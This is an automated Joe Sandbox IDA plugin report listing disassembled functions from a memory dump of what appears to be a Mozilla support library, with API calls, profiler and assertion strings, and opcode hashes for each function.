Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: a8d9d9ced273a15e33a9722d2eeb089d4378e7aac3c7b2efb57e5885d9c4e330
Instruction ID: 51cf5729f4e9ab942a1f9d0d043da1a43bd2ede0f07e38c1080ae1da088594b1
Opcode Fuzzy Hash: a8d9d9ced273a15e33a9722d2eeb089d4378e7aac3c7b2efb57e5885d9c4e330
Instruction Fuzzy Hash: A33369717067018FD308CF29D590615BBE2BF8536CB29C6ADE86ACB7A5D731E881CB41

Function 6C9E3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6C9E3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6C9E34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6C9E34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C9E350E
__Init_thread_footer.LIBCMT ref: 6C9E3522
__aulldiv.LIBCMT ref: 6C9E3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6C9E357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6C9E3592

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C9E3508
kernel32.dll, xrefs: 6C9E34EA

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: c6f6a96fea1b90d60338ef19f584a48f2d95d19a2705fa9814c0184709e92c5e
Instruction ID: f75a17ee2d4af981dea4992dd70b580221f3186258899c2dba8cb8c035f0fddf
Opcode Fuzzy Hash: c6f6a96fea1b90d60338ef19f584a48f2d95d19a2705fa9814c0184709e92c5e
Instruction Fuzzy Hash: D9319075B003469BDF08DFB6DD48ABA77B9FF4A304F108129E50693B60EA70D946CB60

Function 6CA34820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CA34CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CA34D65
data, xrefs: 6CA349B4
schema, xrefs: 6CA348C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CA34DB8, 6CA34DD8
-%llu, xrefs: 6CA34825
ProfileBuffer parse error: %s, xrefs: 6CA34DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CA34D0A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 7b30e45bf09b3845eee475edc24c2c6d673b0b0e206e009ae69990213d5ef129
Instruction ID: 0c422d40abfee64af051473fd95a246d0e0705c621636245445568c09f4c3260
Opcode Fuzzy Hash: 7b30e45bf09b3845eee475edc24c2c6d673b0b0e206e009ae69990213d5ef129
Instruction Fuzzy Hash: C7721D71918B858BD322CF34C4513ABF7E5AFDA344F108B1DE48A6B651EB71A4C6CB42

Function 6CA44EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA44EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA44F2E
moz_xmalloc.MOZGLUE ref: 6CA44F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA44F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA452E6
Sleep.KERNEL32(00000010), ref: 6CA45481
free.MOZGLUE(?), ref: 6CA45498

Strings

(, xrefs: 6CA45250

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 6c8eb9102d4c181e88eecce609ada1a5d35f3485554c48e08723c6a9a48d174d
Instruction ID: 909ce503372c8738617d5f4f8896ffaa184996c0157469a721b5f4a03a578b02
Opcode Fuzzy Hash: 6c8eb9102d4c181e88eecce609ada1a5d35f3485554c48e08723c6a9a48d174d
Instruction Fuzzy Hash: C7F1BF71A18B018FC71ACF39885062BB7B6AFD6384F05C72EF846A7651DB319846CB81

Function 6C9F7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E744), ref: 6C9F7885
LeaveCriticalSection.KERNEL32(6CA6E744), ref: 6C9F78A5
EnterCriticalSection.KERNEL32(6CA6E784), ref: 6C9F78AD
LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9F78CD
EnterCriticalSection.KERNEL32(6CA6E7DC), ref: 6C9F78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9F78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C9F795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9F79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C9F7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9F7C82
LeaveCriticalSection.KERNEL32(6CA6E7DC), ref: 6C9F7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C9F7DAF

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 5b1c43281144c06cc814b1828f259dcf5d54aaf706a5951b0a13d2da52d36887
Instruction ID: 2bb7b0e7be5ac5c90db181ed3834ba82e9412f4b1c93019c65b0a4524bfc7c13
Opcode Fuzzy Hash: 5b1c43281144c06cc814b1828f259dcf5d54aaf706a5951b0a13d2da52d36887
Instruction Fuzzy Hash: ED026371A0121ACFDB54CF19C984799B7B5FF48318F2582AAD819A7751D730EE92CF80

Function 6CA45FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CA46009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CA46024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C9EEE51,?), ref: 6CA46046
OutputDebugStringA.KERNEL32(?,6C9EEE51,?), ref: 6CA46061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA46069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA46073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA46082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CA6148E), ref: 6CA46091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C9EEE51,00000000,?), ref: 6CA460BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA460C4

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: b21ca15be91d19262991089238b0c22d61202014b4aecf460ce728eed4880f37
Instruction ID: d8d6459de3765eb3563d24d4565f98c8287e938d6ed9fc195b385d3b48de5d65
Opcode Fuzzy Hash: b21ca15be91d19262991089238b0c22d61202014b4aecf460ce728eed4880f37
Instruction Fuzzy Hash: 1721D3B1A003089FDB105F25EC08AAA7BB8FF45218F00C528F85A97640DB74E599CFE1

Function 6CA47030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CA47046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CA47060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA4707E

Part of subcall function 6C9F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9F81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA47096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA4709C
LocalFree.KERNEL32(?), ref: 6CA470AA

Strings

### ERROR: %s: %s, xrefs: 6CA47087
(null), xrefs: 6CA4706A, 6CA47083

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 32f56e4faacd9a496c6808571bb7430da4286187b7b19178d5309ca0674126f5
Instruction ID: 077f610a97fe40a7781c5f55a5215040ef3e066a02bdd255e7fc6b3e60fb390a
Opcode Fuzzy Hash: 32f56e4faacd9a496c6808571bb7430da4286187b7b19178d5309ca0674126f5
Instruction Fuzzy Hash: 08012DB2B00205AFDF04AB66EC0ADBF7BBCEF49214F010534FA05E3641D631A9598BA1

Function 6CA09E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA09EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA09F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA09F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA0A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA0A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA0A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA0A8B1, 6CA0A8D4, 6CA0A8EF

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 20121a1b02d00a886d55bbefe173d70edb62cc4e271fe1293e3b6614f8a8a2d4
Instruction ID: 2b8c22714e2affb76a029d78e54dfef58128c60fdabac6926487b641a3b4159a
Opcode Fuzzy Hash: 20121a1b02d00a886d55bbefe173d70edb62cc4e271fe1293e3b6614f8a8a2d4
Instruction Fuzzy Hash: 95726972A156118FD304CF28D550615FBE2BF89368F29C7ADE8699B791D331EC82CB80

Function 6CA32C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA32C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA32C61

Part of subcall function 6C9E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9E4E5A
Part of subcall function 6C9E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C9E4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA32C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA32E2D

Part of subcall function 6C9F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9F81DE

Strings

(root), xrefs: 6CA3354F
ProfileBuffer parse error: %s, xrefs: 6CA32E3B
expected a Time entry, xrefs: 6CA32E36

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 49eedd32f658432b3ee8a81ccaab5669686550a432c073ffe71603c53647d3dc
Instruction ID: ea9b2d28837f0d95699bc4cb63ebdd66cf89f5d220f91bd6e4ba3b65c3b82463
Opcode Fuzzy Hash: 49eedd32f658432b3ee8a81ccaab5669686550a432c073ffe71603c53647d3dc
Instruction Fuzzy Hash: 6991D0706083408FC724CF28C4A469EB7E1AFC9358F549A1DE59AC7B51DB30D98ACB92

Function 6CA0C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CA0C317
MOZ_CRASH(), xrefs: 6CA0D4BB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: ba32c154b32301d57f608464f9647bdd33c66c879c599dd30c8503a135a9f605
Instruction ID: 6822a192b15944f7e550a793667fd9cd57af878a42d0933d63cbc91dd22f0750
Opcode Fuzzy Hash: ba32c154b32301d57f608464f9647bdd33c66c879c599dd30c8503a135a9f605
Instruction Fuzzy Hash: 1352D131B083418FD724DF18D4507AAB7E2FB8A39CF18891DE8D687B91D7359886CB52

Function 6CA49E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CA49F3D
__aulldiv.LIBCMT ref: 6CA49F77
__aullrem.LIBCMT ref: 6CA49F8C
__aulldiv.LIBCMT ref: 6CA4A023

Strings

-Infinity, xrefs: 6CA49E60, 6CA49E7B
NaN, xrefs: 6CA49EAB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 288c595c4dcf5ea484d8352327aa068175b650abfd144393af24ba11353b838c
Instruction ID: da59c447536627c80f931d809f9d036492746964a67ccb8aac10261febb75f4f
Opcode Fuzzy Hash: 288c595c4dcf5ea484d8352327aa068175b650abfd144393af24ba11353b838c
Instruction Fuzzy Hash: 86C1AF31E04319CBDB14CFADC850B9EB7BABF98314F188529D405ABB80D771AD89CB91

Function 6C9ED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C9EDBDD
8, xrefs: 6C9EDC08
9, xrefs: 6C9EDE7F
, xrefs: 6C9EDA88
0, xrefs: 6C9EDC7F
@, xrefs: 6C9EDAF6
0, xrefs: 6C9ED852
-, xrefs: 6C9ED7DD

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 8eb2857c3b8029f2d9b5a0a9ffc866e91fbd8023d4572e7b07c077b83a0512f9
Instruction ID: c720e2b701b8f4b820ca6c1c40d8cb7daaf1b7bd068e42442749bb0ee261e632
Opcode Fuzzy Hash: 8eb2857c3b8029f2d9b5a0a9ffc866e91fbd8023d4572e7b07c077b83a0512f9
Instruction Fuzzy Hash: EB62CC7260C3458FD702CF19C49076ABBE6AFEA358F184A4DE4E54BB91C335D985CB82

Function 6C9F9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C9FA824
9, xrefs: 6C9FA5D6
0, xrefs: 6C9FA100
0, xrefs: 6C9FAB22
' , xrefs: 6C9FA3D8
@, xrefs: 6C9FA625

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 21a6a13a8ddf1588ea4ad5751396bda4f08b9dd9322e9c53a7a0275c9d9dafd5
Instruction ID: 1bc271dc094e5b4853b4b6400e8865760ec43db8928dbcfc3d76bf71a709bcbc
Opcode Fuzzy Hash: 21a6a13a8ddf1588ea4ad5751396bda4f08b9dd9322e9c53a7a0275c9d9dafd5
Instruction Fuzzy Hash: 5B82E2319093158BD711CF09C48026EB7F6FB85758F658A2AE8F547E90DB74E887CB82

Function 6C9EBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9EC1CB
__aulldiv.LIBCMT ref: 6C9EC24C
__aulldiv.LIBCMT ref: 6C9EC348
__aullrem.LIBCMT ref: 6C9EC365
__aulldiv.LIBCMT ref: 6C9EC37D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 626b8b2cd70ed366929502dc1df2f640b45088097513527db9743236bba5c2e0
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 52321632B046128FC719DE2CC890A66BBE6AFDD310F09866DE895CB395D730ED05CB91

Function 6CA5545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA58A4B

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d01eaf1f51a9801469b557a23c4b6508cfc38d3ddc2f04ab75f946a2e5eda756
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 18B1E672E0021A8FDB14CF68CC907E9B7B2EF85314F5842A9C549DB795D730A9DACB90

Function 6CA5542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA5925C

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 95929353c9ec2b62e7a2553d143b827bc6cf5eae3bf7ec992ddfa8b38c561a90
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 93B1C572E4120ACFCB14CF68C9816EDB7B2EF94314F584269C949DB785D730A9DACB90

Function 6CA550C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA58E18
